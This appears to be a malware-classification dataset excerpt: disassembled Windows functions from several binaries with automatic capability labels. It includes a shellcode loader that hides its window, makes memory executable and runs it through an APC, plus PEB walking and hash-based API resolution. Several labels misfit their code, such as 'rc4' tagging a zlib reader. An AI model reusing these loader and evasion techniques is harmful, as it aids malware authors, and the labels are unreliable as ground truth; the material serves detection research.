joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4dbe60
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50429b
mov eax, dword fs:[0]
push eax
sub esp, 0x81c
mov eax, dword [0x547320]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 0x38]
xor eax, eax
mov dword [ebp - 4], 1
push 0x7fe
push eax
mov word [ebp - 0x810], ax
lea eax, [ebp - 0x80e]
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
cmp dword [esi + 0x14], 8
jb 0x4dbebd
mov esi, dword [esi]
cmp dword [ebp + 0x1c], 8
lea ecx, [ebp - 0x810]
push esi
push 0x400
push ecx
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push 0x50e8cc
push eax
push str.setting
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
xor eax, eax
mov dword [ebp - 0x814], 7
mov dword [ebp - 0x818], 0
mov word [ebp - 0x828], ax
cmp word [ebp - 0x810], ax
jne 0x4dbf10
xor ecx, ecx
jmp 0x4dbf2f
lea ecx, [ebp - 0x810]
lea edx, [ecx + 2]
lea esp, [esp]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4dbf20
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x810]
push eax
lea ecx, [ebp - 0x828]
call fcn.0040aeb0
cmp dword [ebp - 0x818], 0
setne bl
cmp dword [ebp - 0x814], 8
jb 0x4dbf63
push dword [ebp - 0x828]
call sub.MSVCR120.dll_void___cdecl_operator_delete_void__
add esp, 4
test bl, bl
je 0x4dbff0
xor eax, eax
mov dword [ebp - 0x814], 7
mov dword [ebp - 0x818], 0
mov word [ebp - 0x828], ax
cmp word [ebp - 0x810], ax
jne 0x4dbf95
xor ecx, ecx
jmp 0x4dbfaf
lea ecx, [ebp - 0x810]
lea edx, [ecx + 2]
mov edi, edi
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4dbfa0
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x810]
push eax
lea ecx, [ebp - 0x828]
call fcn.0040aeb0
lea eax, [ebp - 0x828]
mov byte [ebp - 4], 2
push eax
mov ecx, 0x552b98
call fcn.004925e0
cmp dword [ebp - 0x814], 8
jb 0x4dbffe
push dword [ebp - 0x828]
call sub.MSVCR120.dll_void___cdecl_operator_delete_void__
add esp, 4
jmp 0x4dbffe
lea eax, [ebp + 0x20]
mov ecx, 0x552b98
push eax
call fcn.00494af0
cmp dword [ebp + 0x1c], 8
jb 0x4dc00f
push dword [ebp + 8]
call sub.MSVCR120.dll_void___cdecl_operator_delete_void__
add esp, 4
xor eax, eax
mov dword [ebp + 0x1c], 7
cmp dword [ebp + 0x34], 8
mov dword [ebp + 0x18], 0
mov word [ebp + 8], ax
jb 0x4dc034
push dword [ebp + 0x20]
call sub.MSVCR120.dll_void___cdecl_operator_delete_void__
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004f203a
mov esp, ebp
pop ebp
ret
Function at 0x4df0f0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
cmp dword [esi + 0x79c], 0
je 0x4df15f
cmp dword [ebp + 8], 0x100
jne 0x4df14f
cmp word [ebp + 0xc], 0xd
jne 0x4df14f
cmp byte [esi + 0x7a2], 0
je 0x4df12e
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x4df14f
cmp byte [esi + 0x7a3], 0
jne 0x4df14f
mov ecx, dword [esi + 0x5c]
test ecx, ecx
je 0x4df148
push 1
push 0
push 0
push 0
push str.return
push esi
call fcn.004aed70
xor eax, eax
pop esi
pop ebp
ret 0x10
mov eax, dword [esi + 0x79c]
pop esi
mov ecx, dword [eax + 0xc]
mov eax, dword [ecx]
pop ebp
jmp dword [eax + 0xc]
mov eax, 1
pop esi
pop ebp
ret 0x10

Function at 0x4e2f40
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5045bb
mov eax, dword fs:[0]
push eax
sub esp, 0x98
mov eax, dword [0x547320]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov eax, dword [ebp + 8]
mov dword [edi + 0x10], eax
mov dword [eax + 0x7f8], 0
cmp dword [edi + 4], 0
jne 0x4e2fed
lea eax, [ebp - 0xa4]
push eax
call fcn.004e2a90
mov ecx, dword [edi + 0x10]
movdqu xmm0, xmmword [ebp - 0xa4]
push 0
sub esp, 0x10
mov eax, esp
push 0
movdqu xmmword [eax], xmm0
mov eax, dword [ecx]
push 0x40000000
push 0
call dword [eax + 0x24]
mov ecx, eax
call fcn.004aa9c0
push eax
mov ecx, edi
call fcn.004b16f0
mov esi, dword [edi + 0x10]
mov ecx, esi
call fcn.004b9230
push eax
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x24]
mov ecx, eax
call fcn.004aa440
push 1
push dword [eax]
push 0x30
push dword [edi + 4]
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [edi + 0x10]
lea edx, [ebp - 0x94]
push edx
mov eax, dword [ecx]
call dword [eax + 0x38]
mov ecx, eax
mov dword [ebp - 4], 0
call fcn.004a7610
lea ecx, [ebp - 0x94]
mov dword [ebp - 4], 0xffffffff
mov bl, al
call fcn.004a6c50
test bl, bl
je 0x4e3031
mov eax, dword [edi + 0x10]
add eax, 0x7e8
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov eax, dword [edi + 0x10]
add eax, 0x7e8
push eax
push 0
push 0x1002
push dword [edi + 4]
call dword [sym.imp.USER32.dll_SendMessageW]
push 4
push dword [edi + 4]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [edi + 4]
call dword [sym.imp.USER32.dll_SetFocus]
mov byte [edi + 0x18], 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004f203a
mov esp, ebp
pop ebp
ret 4
Function at 0x4e3080
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x547320]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push dword [ebp + 0x10]
mov esi, ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004b2ef0
mov ecx, dword [esi + 0x800]
test ecx, ecx
je 0x4e3111
lea eax, [ebp - 0x14]
push eax
call fcn.004e2a90
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.USER32.dll_IsRectEmpty]
test eax, eax
je 0x4e30e7
mov ecx, dword [esi + 0x800]
push 0
call fcn.0047ed90
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004f203a
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
sub eax, edx
mov ecx, dword [ebp - 0x14]
push 0x54
push eax
mov eax, dword [ebp - 0xc]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [esi + 0x800]
push 0
call fcn.0047ed90
push eax
call dword [sym.imp.USER32.dll_SetWindowPos]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004f203a
mov esp, ebp
pop ebp
ret 0xc

Function at 0x4e3220
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x547320]
xor eax, ebp
mov dword [ebp - 4], eax
movdqu xmm0, xmmword [ebp + 8]
push esi
push dword [ebp + 0x18]
mov esi, ecx
sub esp, 0x10
mov eax, esp
movdqu xmmword [eax], xmm0
call fcn.004b5670
mov ecx, dword [esi + 0x800]
test ecx, ecx
je 0x4e32b9
lea eax, [ebp - 0x14]
push eax
call fcn.004e2a90
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.USER32.dll_IsRectEmpty]
test eax, eax
je 0x4e328f
mov ecx, dword [esi + 0x800]
push 0
call fcn.0047ed90
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004f203a
mov esp, ebp
pop ebp
ret 0x14
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
sub eax, edx
mov ecx, dword [ebp - 0x14]
push 0x54
push eax
mov eax, dword [ebp - 0xc]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [esi + 0x800]
push 0
call fcn.0047ed90
push eax
call dword [sym.imp.USER32.dll_SetWindowPos]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004f203a
mov esp, ebp
pop ebp
ret 0x14
Function at 0x4e6e30
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 4]
push edi
push eax
push esi
mov ebx, ecx
mov dword [ebp - 4], 0
call fcn.004aa9e0
mov edi, eax
add esp, 8
test edi, edi
jne 0x4e6ed4
push eax
push 0x80
push 3
push eax
push 1
push SysReAllocString
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4e6ec9
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 4], eax
test eax, eax
je 0x4e6ec9
push eax
mov dword [ebp + 8], edi
call fcn.004f1f0a
add esp, 4
mov edi, eax
lea eax, [ebp + 8]
push 0
push eax
push dword [ebp - 4]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
cmp dword [ebp + 8], eax
je 0x4e6ec5
push edi
call sub.MSVCR120.dll_void___cdecl_operator_delete___void__
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
test edi, edi
jne 0x4e6ed7
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 4]
push eax
push edi
mov ecx, ebx
call fcn.004e6f00
push edi
mov esi, eax
call sub.MSVCR120.dll_void___cdecl_operator_delete___void__
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4ee9a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
mov eax, dword [esi + 8]
mov edi, eax
and edi, 7
je 0x4ee9c7
cmp eax, edi
jge 0x4ee9bf
push esi
call fcn.004ea810
add esp, 4
mov ecx, edi
shr dword [esi + 0xc], cl
sub dword [esi + 8], edi
mov edx, dword [esi + 8]
xor ecx, ecx
test edx, edx
jle 0x4ee9f0
mov edi, dword [esi + 0xc]
mov al, byte [esi + 0xc]
sub edx, 8
mov byte [ebp + ecx + 8], al
inc ecx
shr edi, 8
mov dword [esi + 0xc], edi
test edx, edx
jg 0x4ee9d3
mov dword [esi + 8], edx
cmp ecx, 4
jge 0x4eea0c
mov edi, dword [esi + 4]
mov eax, dword [esi]
cmp eax, edi
jb 0x4ee9fd
xor dl, dl
jmp 0x4eea02
mov dl, byte [eax]
inc eax
mov dword [esi], eax
mov byte [ebp + ecx + 8], dl
inc ecx
cmp ecx, 4
jl 0x4ee9f3
mov eax, dword [ebp + 8]
movzx ecx, byte [ebp + 0xb]
movzx edi, ah
movzx eax, al
shl edi, 8
add edi, eax
shl ecx, 8
movzx eax, byte [ebp + 0xa]
add ecx, eax
mov eax, edi
xor eax, 0xffff
cmp ecx, eax
je 0x4eea41
pop edi
pop esi
mov dword [ebp + 8], str.zlib_corrupt
pop ebp
jmp fcn.004ea720
mov eax, dword [esi]
add eax, edi
cmp eax, dword [esi + 4]
jbe 0x4eea59
pop edi
pop esi
mov dword [ebp + 8], str.read_past_buffer
pop ebp
jmp fcn.004ea720
mov ecx, dword [esi + 0x10]
lea eax, [ecx + edi]
cmp eax, dword [esi + 0x18]
jbe 0x4eea77
push edi
push ecx
push esi
call fcn.004f1c20
add esp, 0xc
test eax, eax
jne 0x4eea77
pop edi
pop esi
pop ebp
ret
push edi
push dword [esi]
push dword [esi + 0x10]
call sub.MSVCR120.dll_memcpy
add dword [esi], edi
add esp, 0xc
add dword [esi + 0x10], edi
mov eax, 1
pop edi
pop esi
pop ebp
ret
Function at 0x401b1a
Capabilities:
Terminate process

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0x20
mov ebx, dword [ecx + 4]
test byte [0x406018], 1
jne 0x401b37
mov dword [esp], ebx
call dword [sym.imp.kernel32.dll_ExitProcess]
xor eax, eax
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], str.__d__semi_stub:_no_script_engine_clean_up_n
mov dword [esp + 8], str.Host_Quit
mov dword [esp + 4], 0x406018
mov dword [esp], eax
call sym._wine_dbg_log.constprop.0_1
jmp 0x401b2e
Function at 0x4051e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x40523b
cmp byte [esi + ebx - 1], 0xa
je 0x40520f
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x40f2e4], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
Function at 0x405790
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0xf0
mov edi, dword [0x40f2f4]
mov esi, dword [ebp + 8]
test edi, edi
je 0x405950
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call dword [0x40f2f4]
movzx eax, al
bt eax, esi
jae 0x4059b0
mov ecx, dword [0x40f2e4]
xor eax, eax
mov edx, dword fs:[0x18]
cmp dword [edx + 0x24], ecx
je 0x405856
test byte [0x4060a8], 8
jne 0x4058f0
lea ebx, [esp + 0x28]
mov edi, ebx
test byte [0x4060b8], 8
jne 0x4058a0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
mov dword [esp + 4], str._04x:
mov dword [esp], edi
mov dword [esp + 8], eax
call dbg.sprintf
mov edx, dword [ebp + 0x10]
test edx, edx
je 0x405825
cmp esi, 3
jbe 0x405860
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp], ebx
mov esi, eax
call dword [sym.imp.ucrtbase.dll_strlen]
mov dword [esp + 0xc], esi
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov dword [esp], ebx
call dword [sym.imp.ucrtbase.dll_fwrite]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
add eax, edi
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x14], edi
mov edi, dword [ebp + 0xc]
mov dword [esp + 8], str._s:_s:_s
lea edx, [edi + 1]
mov dword [esp], eax
mov dword [esp + 0x10], edx
mov edx, dword [esi*4 + 0x40e398]
mov dword [esp + 0xc], edx
mov edx, ebx
sub edx, eax
add edx, 0xc8
mov dword [esp + 4], edx
call sym._snprintf.constprop.0
jmp 0x405825
mov ecx, dword [0x40f2f4]
test ecx, ecx
je 0x405990
mov dword [esp], 0x4060b8
call dword [0x40f2f4]
test al, 8
je 0x4057fc
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x20]
mov dword [esp], edi
mov dword [esp + 4], str._04x:
mov dword [esp + 8], eax
call dbg.sprintf
add edi, eax
jmp 0x4057fc
mov ebx, dword [0x40f2f4]
test ebx, ebx
je 0x405970
mov dword [esp], 0x4060a8
call dword [0x40f2f4]
test al, 8
je 0x4057e9
call dword [sym.imp.kernel32.dll_GetTickCount]
lea ebx, [esp + 0x28]
mov dword [esp + 4], str._3u._03u:
mov ecx, eax
mov eax, 0x10624dd3
mov dword [esp], ebx
mul ecx
shr edx, 6
imul eax, edx, 0x3e8
mov dword [esp + 8], edx
sub ecx, eax
mov dword [esp + 0xc], ecx
call dbg.sprintf
lea edi, [ebx + eax]
jmp 0x4057ef
mov ecx, dbg.fallback__wine_dbg_get_channel_flags
mov edx, str.__wine_dbg_get_channel_flags
mov eax, 0x40f2f4
call sym._load_func.part.0
jmp 0x4057b0
mov ecx, dbg.fallback__wine_dbg_get_channel_flags
mov edx, str.__wine_dbg_get_channel_flags
mov eax, 0x40f2f4
call sym._load_func.part.0
jmp 0x4058fa
mov ecx, dbg.fallback__wine_dbg_get_channel_flags
mov edx, str.__wine_dbg_get_channel_flags
mov eax, 0x40f2f4
call sym._load_func.part.0
jmp 0x4058ae
mov eax, 0xffffffff
jmp 0x405856
Function at 0x405b20
Capabilities:
Accept command line arguments
Get process heap force flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov dword [esp], 1
call sym.__configure_wide_argv
call sym.__initialize_wide_environment
call sym.___p___argc
mov esi, dword [eax]
call sym.___p___wargv
mov edi, dword [eax]
call sym.__get_initial_wide_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sym.__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call dbg.wmain
mov dword [esp], eax
call sym._exit

Function at 0x405b90
Capabilities:
Accept command line arguments
Encrypt data using rc4 prga

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push esi
push ebx
push ecx
sub esp, 0x6c
call dword [sym.imp.kernel32.dll_GetCommandLineW]
mov ebx, eax
movzx eax, word [eax]
test ax, ax
je 0x405bf7
xor ecx, ecx
xor edx, edx
jmp 0x405bd9
cmp ax, 0x5c
jne 0x405c68
add edx, 1
movzx eax, word [ebx + 2]
add ebx, 2
test ax, ax
je 0x405bf7
cmp ax, 9
je 0x405be5
cmp ax, 0x20
jne 0x405bc0
test ecx, ecx
je 0x405c53
movzx eax, word [ebx + 2]
add ebx, 2
xor edx, edx
test ax, ax
jne 0x405bd9
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_GetStartupInfoW]
sub esp, 4
test byte [ebp - 0x30], 1
je 0x405c88
movzx esi, word [ebp - 0x2c]
mov dword [esp], 0
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call dbg.wWinMain@16
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop esi
pop ebp
lea esp, [ecx - 4]
ret
add ebx, 2
movzx eax, word [ebx]
cmp ax, 9
je 0x405c50
cmp ax, 0x20
je 0x405c50
jmp 0x405bf7
cmp ax, 0x22
jne 0x405be9
and edx, 1
jne 0x405be9
xor ecx, 1
jmp 0x405bcd
mov eax, 1
mov esi, 1
mov word [ebp - 0x2c], ax
jmp 0x405c10
Function at 0x10001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
sub dword [ebp + 0xc], 1
je 0x1000102b
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10001093
mov esp, ebp
pop ebp
ret 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, [ebp - 8]
push eax
push 0x40
push 0x719
push 0x10004058
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push str.NtTestAlert
push str.ntdll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
push 0x10004058
call dword [sym.imp.KERNEL32.dll_QueueUserAPC]
call esi
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.10001093
mov esp, ebp
pop ebp
ret 0xc

Function at 0x1000425e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, ecx
mov ebx, edx
push edi
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], esi
mov eax, dword [esi + 0x3c]
mov eax, dword [eax + esi + 0x78]
add eax, esi
mov edx, dword [eax + 0x20]
mov ecx, dword [eax + 0x1c]
add edx, esi
mov dword [ebp - 4], edx
add ecx, esi
mov edx, dword [eax + 0x24]
add edx, esi
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], edx
test ebx, 0xffff0000
je 0x100042e8
mov eax, dword [eax + 0x18]
xor edx, edx
mov dword [ebp - 0x14], eax
mov edi, edx
test eax, eax
je 0x100042f0
mov eax, dword [ebp - 4]
mov ebx, dword [eax + edi*4]
add ebx, esi
mov esi, edx
mov cl, byte [ebx]
imul esi, esi, 0x7f
movsx eax, cl
add esi, eax
inc ebx
test cl, cl
jne 0x100042b2
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x10], esi
mov esi, dword [ebp - 8]
cmp ebx, dword [ebp - 0x10]
je 0x100042d7
inc edi
cmp edi, dword [ebp - 0x14]
jb 0x100042a8
jmp 0x100042f0
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, esi
jmp 0x100042f2
sub ebx, dword [eax + 0x10]
mov edx, dword [ecx + ebx*4]
add edx, esi
mov eax, edx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100042f7
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
ret
Function at 0x1000430e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov ebx, ecx
call fcn.100042f7
mov edi, eax
mov dword [ebp - 0xc], 0x5f327357
mov edx, 0x148be54
mov dword [ebp - 8], 0x642e3233
mov ecx, edi
mov word [ebp - 4], 0x6c6c
mov byte [ebp - 2], 0
call fcn.1000425e
mov esi, eax
mov edx, 0x293836
mov ecx, edi
mov dword [ebx], esi
call fcn.1000425e
mov edx, 0x84ae6d69
mov dword [ebx + 4], eax
mov ecx, edi
call fcn.1000425e
mov edx, 0x5ec13a5a
mov dword [ebx + 8], eax
mov ecx, edi
call fcn.1000425e
mov edx, 0x684be3a5
mov dword [ebx + 0xc], eax
mov ecx, edi
call fcn.1000425e
mov dword [ebx + 0x10], eax
lea eax, [ebp - 0xc]
push eax
call esi
mov esi, eax
mov edx, 0xc18bc488
mov ecx, esi
call fcn.1000425e
mov edx, 0x9816abed
mov dword [ebx + 0x14], eax
mov ecx, esi
call fcn.1000425e
mov edx, 0xabce366b
mov dword [ebx + 0x18], eax
mov ecx, esi
call fcn.1000425e
mov edx, 0x1552cd98
mov dword [ebx + 0x1c], eax
mov ecx, esi
call fcn.1000425e
mov edx, 0xf9b83296
mov dword [ebx + 0x20], eax
mov ecx, esi
call fcn.1000425e
mov edx, 0x39bb598
mov dword [ebx + 0x24], eax
mov ecx, esi
call fcn.1000425e
mov edx, 0xf4178b7a
mov dword [ebx + 0x28], eax
mov ecx, esi
call fcn.1000425e
mov edx, 0xcc62c781
mov dword [ebx + 0x2c], eax
mov ecx, esi
call fcn.1000425e
mov dword [ebx + 0x30], eax
xor eax, eax
cmp dword [ebx + eax*4], 0
je 0x10004417
inc eax
cmp eax, 0xd
jb 0x10004406
xor eax, eax
inc eax
jmp 0x10004419
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402990
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
mov dword [0x405130], eax
mov ecx, ebp
add ecx, 8
mov dword [0x40507c], ecx
mov dword [0x4050b0], 0x30
mov dword [0x4050b4], 2
mov dword [0x4050bc], 0
mov dword [0x4050c0], 0
mov dword [0x4050b8], 0x402f20
jmp 0x4029e3
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov dword [0x4050c4], eax
mov dword [0x4050d0], 0xf
mov dword [0x4050d8], 0x4040ad
mov dword [0x405074], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x4050c8], eax
mov dword [0x4050dc], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x4050cc], eax
push 0x4050b0
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x405074]
push 0
push 0
push 0x24e
push 0x281
push 0xfffff448
push 0xffffec78
push 0x40000
push str.mini
push str.second
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x405128], eax
xor eax, eax
jmp 0x402a82
push 5
push dword [0x405128]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x402ab6
push 0
push 0x24f
push 0x282
push 0xfffff447
push 0xffffec77
push dword [0x405128]
call dword [sym.imp.user32.dll_MoveWindow]
push dword [0x405128]
call dword [sym.imp.user32.dll_UpdateWindow]
push 0
push 0
push 0
push 0x4050e0
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x402aef
push 0x4050e0
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x4050e0
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x402ac2
mov eax, dword [0x4050e8]
jmp 0x402afc
call 0x40213f
ret
Function at 0x401af8
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov al, byte [ebp + 8]
cmp al, 7
jb 0x401b4d
sub al, 7
je 0x401bc1
dec al
je 0x401b1b
sub al, 2
je 0x401b45
sub al, 3
je 0x401b37
jmp 0x401b4d
mov eax, dword [0x407230]
cmp eax, dword [0x4070f0]
jle 0x401bc1
dec dword [0x407230]
jmp 0x401bc1
mov edi, dword [0x4070f0]
mov dword [0x407230], edi
jmp 0x401bc1
inc dword [0x407220]
jmp 0x401bc1
mov word [ebp - 8], 1
mov word [ebp - 6], 1
mov word [ebp - 0xc], 0
mov word [ebp - 0xa], 0
movzx ax, byte [ebp + 8]
mov word [ebp - 4], ax
movzx ax, byte [0x4070e0]
mov word [ebp - 2], ax
mov eax, dword [0x407230]
dec eax
mov word [ebp - 0x14], ax
mov eax, dword [0x407220]
dec eax
mov word [ebp - 0x12], ax
mov eax, dword [0x407230]
dec eax
mov word [ebp - 0x10], ax
mov eax, dword [0x407220]
dec eax
mov word [ebp - 0xe], ax
lea edi, [ebp - 0x14]
push edi
push dword [ebp - 0xc]
push dword [ebp - 8]
lea eax, [ebp - 4]
push eax
push dword [0x407140]
call sub.kernel32.dll_WriteConsoleOutputA
inc dword [0x407230]
mov eax, dword [0x407230]
cmp eax, dword [0x407110]
jle 0x401bef
mov edi, dword [0x4070f0]
mov dword [0x407230], edi
inc dword [0x407220]
jmp 0x401bef
push 1
call fcn.00401c98
dec dword [0x407220]
mov eax, dword [0x407220]
cmp eax, dword [0x407120]
jg 0x401be2
leave
ret 4